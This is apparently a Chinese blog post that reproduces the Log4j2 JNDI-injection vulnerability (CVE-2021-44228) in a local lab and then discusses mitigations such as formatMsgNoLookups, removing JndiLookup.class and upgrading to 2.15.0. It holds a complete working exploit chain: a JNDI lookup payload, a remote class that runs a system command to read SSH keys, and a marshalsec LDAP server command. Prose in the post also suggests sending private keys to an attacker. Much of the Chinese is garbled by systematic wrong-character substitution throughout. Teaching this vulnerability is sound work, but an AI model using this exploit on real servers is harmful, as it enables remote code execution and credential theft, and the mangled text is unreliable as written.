前情提要
上周,Apache Log4j2
爆出高危破绽(CVE-2021-44228
):Log4j2 组件存在 JNDI 注入破绽,破绽利用门槛低,即 可利用该破绽在指标服务器上执行任意代码
。Log4j2 组件是一款开源的 Java 日志框架,被宽泛地利用在中间件、开发框架与 Web 利用中,用来记录日志信息。因而该破绽影响范围广,公司要求彻查代码并修复破绽。
近程执行代码破绽复现
-
试验环境
- MacOS 操作系统
- Python 环境
- 本 DEMO 在 JAVA8 环境下执行,其余版本自行验证
- log4j2 日志库,包含受影响的版本范畴
log4j-core
versions >=2.0-beta9 and <=2.14.1`
-
复现破绽
新建一般的 maven 我的项目,pom.xml 中引入 log4j-core 与 log4j-api 的 jar 包,指定版本为
2.13.3
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>cve-2021-44228-log4j-exploits</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>1.8</maven.compiler.source> <maven.compiler.target>1.8</maven.compiler.target> </properties> <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.13.3</version> </dependency> </dependencies> </project>
而后在 java 目录下创立 Hack.java,内容如下:
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; /** * @author cat */ public class Hack {private static final Logger logger = LogManager.getLogger(Hack.class); public static void main(String[] args) {System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}"); } }
这个文件模仿的就是应用了 log4j2 的 web 服务程序。因为大多数应用 Java 开发的后端服务都是网络服务,用户能够通过网页表单提交输出内容,出于调试的需要,比方:restful 接口产生运行时异样,通过 logger.error 形式打印产生异样时候用户提交的参数,那么就会间接中招。
接下来构建 LDAP 服务器 +http 服务器(用于近程执行攻打代码,这两个服务器都在攻击者电脑上)
抉择一个其余目录 http-server(与 Hack.java 不同目录),代码目录构造如下:
创立 Log4jRCE.java 文件。这个文件就是咱们想在近程服务器执行的攻打代码,咱们能够通过这个文件尝试调用系统命令,这里以输入 Mac 电脑的 SSH 公钥为例。
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class Log4jRCE {public Log4jRCE() { } static {System.out.println("I am Log4jRCE from remote!!!"); String[] var1 = new String[]{"cat", "/Users/jingbo/.ssh/id_rsa.pub"}; try {Process var0 = Runtime.getRuntime().exec(var1); InputStream var2 = var0.getInputStream(); InputStreamReader var3 = new InputStreamReader(var2); BufferedReader var4 = new BufferedReader(var3); String var5 = null; while((var5 = var4.readLine()) != null) {System.out.println(var5); } } catch (IOException var6) {var6.printStackTrace(); } } }
而后编译一下这个类失去字节码文件 Log4jRCE.class,命令如下:
javac Log4jRCE.java
而后在这个文件所在目录 http-server 下关上 terminal 控制台,启动 Python 自带的 http 服务器
接着通过 git 下载 Apache-Log4j-Learning 并执行 tools 工具启动一个 LDAP 服务器
git clone https://github.com/bkfish/Apache-Log4j-Learning.git cd Apache-Log4j-Learning/tools java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Log4jRCE"
而后运行 Hack.java 模仿注入攻打,服务端应用 log4j2 输入日志。后果为:
能够看到,机器的公钥曾经在服务器上被输入了。当然这并没有什么意义,但如果咱们的 Log4jRCE 的逻辑是通过网络通信将私钥发送给指定服务器(攻击者的电脑),或者是将攻击者的 SSH 公钥写入 Authorized_keys 文件中,那么就会呈现极其重大的平安问题。
总结一下攻打过程,攻击者在网页表单的输入框里输出注入攻打语句,在提交表单时,被服务器端的 Log4j 框架作为日志输入,但因为该库的某些解析结构破绽,会把
${}
括号中的语句作为命令执行。攻击者的注入攻打语句通过解析会先拜访 ldap 服务器,而后由 ldap 解析出咱们要的文件名为 Log4jRCE,ldap 向 HTTP 服务器申请获取这个文件,最初网站服务器在本地实例化并执行这个 java 类,即攻击者的攻打脚本失去执行。
验证互联网上的长期解决方案
- 应用 jvm 参数启动 -Dlog4j2.formatMsgNoLookups=true
- 设置 log4j2.formatMsgNoLookups=True
- 零碎环境变量中将 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
通过本人的验证和测试之后,发现各大厂商给出的计划 有谬误
,包含到目前为止网络上还是存在 大量的谬误
。
- 首先辨别版本,2.10 以下版本中环境变量办法是有效的(
以上三种形式都生效
)。 - 2.10 以上版本,零碎环境变量
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
设置为 true,这个是有效的
(不信的敌人自行验证)。LOG4J_FORMAT_MSG_NO_LOOKUPS
这个环境变量才是无效的。
官网举荐修复计划
https://logging.apache.org/lo…
通过官网文档中的阐明,临时能够不批改 log4j2 版本的长期解决方案:
-
2.10 以下版本中须要从
classpath
中移出JndiLookup
classzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- 2.10 以上版本中设置零碎参数
log4j2.formatMsgNoLookups=true
与环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS=true
然而官网还是强烈建议大家降级 log4j2 的版本为 2.15.0 的最新版本
总结
-
文中破绽 Demo 复现代码我上传到 github,大家能够自行下载进行试验(本 Demo 只是为了复现问题,请不要用于其余非法用处)
https://github.com/lov3r/cve-…
-
还有一点给大家的倡议:
在工作和学习的过程中不要认为网络上看到的货色就是正确的,对任何事物和问题咱们要放弃一颗狐疑的心,本人多入手验证
本文由博客一文多发平台 OpenWrite 公布!